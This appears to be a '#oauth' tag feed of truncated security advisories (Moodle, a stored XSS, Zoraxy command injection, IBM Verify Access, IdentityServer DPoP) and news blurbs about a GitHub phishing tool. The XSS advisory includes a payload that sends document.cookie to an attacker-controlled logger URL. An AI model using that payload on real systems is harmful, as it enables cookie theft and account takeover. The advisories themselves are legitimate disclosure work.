#oauth

A flaw was found in Moodle. Additional checks were required to ensure users can only delete their OAuth2-linked accounts.

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Capture Debug Information" page allows authenticated users to inject arbitrary JavaScript through the "hostname" parameter when creating a new device. This vulnerability results in the execution of malicious code when the "Capture Debug Information" page is visited, redirecting the user and sending non-httponly cookies to an attacker-controlled domain. ### Details When creating a new device, an attacker can inject the following XSS payload into the "hostname" parameter: ``` test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie" ``` (Note: You may need to URL-encode the '+' sign in the payload.) The payload triggers automatically when visiting the "Capture Debug Information" page for the device, redirecting the user's browser to the attacker-controlled domain along with any non-httponly cookies. The vulnerability is due to insufficient sanitization of the "url" vari...

### Summary A command injection vulnerability in the Web SSH feature allows an authenticated attacker to execute arbitrary commands as root on the host. ### Details Zoraxy has a Web SSH terminal feature that allows authenticated users to connect to SSH servers from their browsers. In [`HandleCreateProxySession`](https://github.com/tobychui/zoraxy/blob/9cb315ea6739d1cc201b690322d25166b12dc5db/src/webssh.go#L19) the request to create an SSH session is handled. After checking for the presence of required parameters, ensuring that the target is not the loopback interface and that there is actually an SSH service running on the target, `CreateNewConnection` is called: https://github.com/tobychui/zoraxy/blob/e79a70b7acfa45c2445aff9d60e4e7525c89fec8/src/mod/sshprox/sshprox.go#L165-L178 In line 178, the `gotty` binary is executed running `sshCommand` from the line above. It contains the user-controlled variable `connAddr`, which includes the hostname of the SSH server and - if provided - th...

Marketed on a cybercriminal forum, the $700 tool harvests email addresses from public GitHub profiles, priming cyberattackers for further credential theft, malware delivery, OAuth subversion, supply chain attacks, and other corporate breaches.

SlashNext researchers have discovered a new, sophisticated phishing tool GoIssue targeting GitHub developers. Learn about its capabilities, the…

IBM Security Verify Access versions prior to 10.0.8 suffer from authentication bypass, reuse of private keys, local privilege escalation, weak settings, outdated libraries, missing password, hardcoded secrets, remote code execution, missing authentication, null pointer dereference, and lack of privilege separation vulnerabilities.

IBM Security Verify Access Appliance suffers from multiple insecure transit vulnerabilities, hardcoded passwords, and uninitialized variables. ibmsecurity versions prior to 2024.4.5 are affected.

Misconfigurations, weak authentication, and logic flaws are among the main drivers of API security risks at many organizations.

### Impact IdentityServer's local API authentication handler performs insufficient validation of the `cnf` claim in DPoP access tokens. This allows an attacker to use leaked DPoP access tokens at local api endpoints even without possessing the private key for signing proof tokens. Note that this only impacts custom endpoints within an IdentityServer implementation that have explicitly used the `LocalApiAuthenticationHandler` for authentication. It does not impact: - OAuth or OIDC protocol endpoints defined by IdentityServer, such as the authorize and token endpoints. - Typical UI pages within an IdentityServer implementation, which are not normally authorized with the local API authentication handler. - The use of DPoP to create sender-constrained tokens in IdentityServer that are consumed by external API resources. - The use of DPoP to sender-constrain refresh tokens issued to public clients. ## Are you affected? This vulnerability only affects IdentityServer implementations that a...

Identity security is front, and center given all the recent breaches that include Microsoft, Okta, Cloudflare and Snowflake to name a few. Organizations are starting to realize that a shake-up is needed in terms of the way we approach identity security both from a strategic but also a technology vantage point.  Identity security is more than just provisioning access  The conventional view